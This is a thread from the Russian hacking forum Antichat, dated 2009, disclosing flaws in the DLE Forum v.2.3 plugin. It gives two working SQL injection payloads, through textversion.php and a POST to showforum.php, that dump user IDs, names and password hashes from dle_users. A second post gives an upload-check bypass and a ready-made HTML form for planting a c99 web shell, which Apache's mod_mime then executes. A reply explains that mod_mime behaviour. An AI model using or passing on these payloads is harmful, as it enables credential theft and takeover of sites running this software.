Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
DLE Forum v.2.3 Final Release |

19.03.2009, 04:27
|
|
Members of Antichat - Level 5
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме: 10046345
Репутация:
4589
|
|
DLE Forum v.2.3 Final Release
DLE Forum v.2.3 Final Release
Офф сайт: http://www.dle-files.ru
Скачать: http://www.dle-files.ru/engine/download.php?id=6
SQL-INJ
Уязвимый скрипт: /engine/forum/textversion.php
Зависимость: register_globals = on
Запрос: /engine/forum/textversion.php?f1&WHERE=+AND+forum_id=-1+UNION+SELECT+1,2,concat_ws(0x3a,user_id,name,pas sword),4,5,email,7,8,9,10,11,12,13,14,15,16,17,18, 19,20+FROM+dle_users+--+-
Уязвимый кусок кода:
PHP код:
// фишки с WHERE я так и не понял ..
332: $db->query("SELECT * FROM " . PREFIX . "_forum_topics WHERE forum_id = '$id' ".$WHERE." ORDER BY fixed, ".$sort_type." DESC LIMIT ".$cstart.",".$forum_config['topic_inpage']."");
333:
334: while ($row = $db->get_row())
335: {
SQL-INJ
Зависимость: magic_quotes = off
Exploit: POST запрос к index.php?do=forum&act=forum
-1' UNION SELECT 0,2,3,4,5,concat_ws(0x3a,user_id,name,password),7, 8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from dle_users --
Уязвимый кусок кода:
PHP код:
// /engine/forum/sources/showforum.php
// Аналогичная уязвимость и в showtopic.php
// Забавная проверка =)
if (intval($fid))
{
$row_forum = $db->super_query("SELECT * FROM " . PREFIX . "_forum_forums WHERE id = '$fid'");
.....................
// $row_forum['id'] должен равняться 0, иначе дальше пойдут еще скуль-запросы в другие таблицы и скрипт вывалится с ошибкой, не выведя то, что нам нужно
if ($row_forum['id'] and $check_read)
{
Последний раз редактировалось BlackSun; 19.03.2009 в 05:07..
|
|
|

19.03.2009, 05:49
|
|
Members of Antichat - Level 5
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме: 10046345
Репутация:
4589
|
|
Аплоад файлов с обходом проверки расширения
Имеем аплоадер файлов /engine/forum/sources/modules/uploads.php?area=&fid=1&tid=0&pid=0&wysiwyg=0&do=add Где fid - айди форума, где разрешен аплоад
В файле uploads.php имеем:
PHP код:
// это нам только наруку
extract($_REQUEST, EXTR_SKIP);
$fid = intval($_REQUEST['fid']);
$tid = intval($_REQUEST['tid']);
$pid = intval($_REQUEST['pid']);
..........
$result = $db->super_query("SELECT * FROM " . PREFIX . "_forum_forums WHERE id = '$fid'");
$access_upload = $result['access_upload'];
$access_upload = explode(":", $access_upload);
if (!in_array($member_id['user_group'], $access_upload))
{
die("Hacking attempt!");
}
Далее идут проверки
PHP код:
if ($do == "add")
{
$allowed_images = array("gif", "jpg", "png", "jpe", "jpeg");
$allowed_files = explode(',', $forum_config['upload_type']);
$file_name = $_FILES['attachment']['name'];
$file_explode = explode(".",$file_name);
$file_type = strtolower(end($file_explode));
$attachment_size = $_FILES['attachment']['size'];
if (in_array($file_type, $allowed_images) AND $forum_config['img_upload'])
{
if ($attachment_size < ($forum_config['img_size']*1024))
{
$is_image = TRUE;
$DIR = "images/";
}
else
{
$image_size_error = true;
}
}
if (in_array($file_type, $allowed_files) AND $upload_file_access)
{
$is_file = TRUE;
$DIR = "files/";
}
if ($is_file OR $is_image)
{
Переменные $is_file, $is_image, $DIR нигде ранее не определены, поэтому передав их GET \ POST запросом, можно залить файл с любым расширением, но .. это самое расширение обрезается =\
Файлы аплоадятся в /uploads/forum/files
PHP код:
$uploadfile = UPLOAD_DIR.$DIR.basename($_FILES['attachment']['name']);
if (move_uploaded_file($_FILES['attachment']['tmp_name'], $uploadfile)){
$file_name = $_FILES['attachment']['name'];
$file_size = $_FILES['attachment']['size'];
}
if (file_exists(UPLOAD_DIR . $DIR . $file_name)){
if ($is_file)
{
$ftype = 'file';
$file_rename = time()."_".totranslit($file_name);
}
else
{
$ftype = 'image';
$file_rename = time().".".$file_type;
}
rename(UPLOAD_DIR . $DIR . $file_name, UPLOAD_DIR . $DIR . $file_rename);
Тут и пригодится переменная $DIR: &DIR=files/c99.php . - имя файла будет c99.php.1237426502_c99 при этом он будет выполняться, а не вываливаться как обычный текстовый файл! (Проверял на локале, ubuntu)
В итоге залить шелл можно следующей формой:
Код:
<form method="post" enctype="multipart/form-data" action="?area=&fid=1&tid=0&pid=0&wysiwyg=0&do=add&is_file=1&files/c99.php."><br /><input class="forum_input" name="attachment" type="file" style="width:200px" /> <input class="button" value="Загрузить" type="submit" style="background-color:#53E490;" /></form><p><font color="red">Не допустимый формат файла!</font></p></fieldset><br /><fieldset><legend><strong>Загруженные файлы</strong></legend><form method="post" enctype="multipart/form-data" action="?area=&fid=1&tid=0&pid=0&wysiwyg=0&do=del"><table class="dle_forum" width="100%"></table><br />Ни одного файла не загружено.</form>
|
|
|

19.03.2009, 12:35
|
|
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме: 3244717
Репутация:
1980
|
|
имя файла будет c99.php.1237426502_c99 при этом он будет выполняться, а не вываливаться как обычный текстовый файл! (Проверял на локале, ubuntu)
Это происходит из-за апачевского модуля mod_mime, который отбрасывает все неизвестные расширения
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|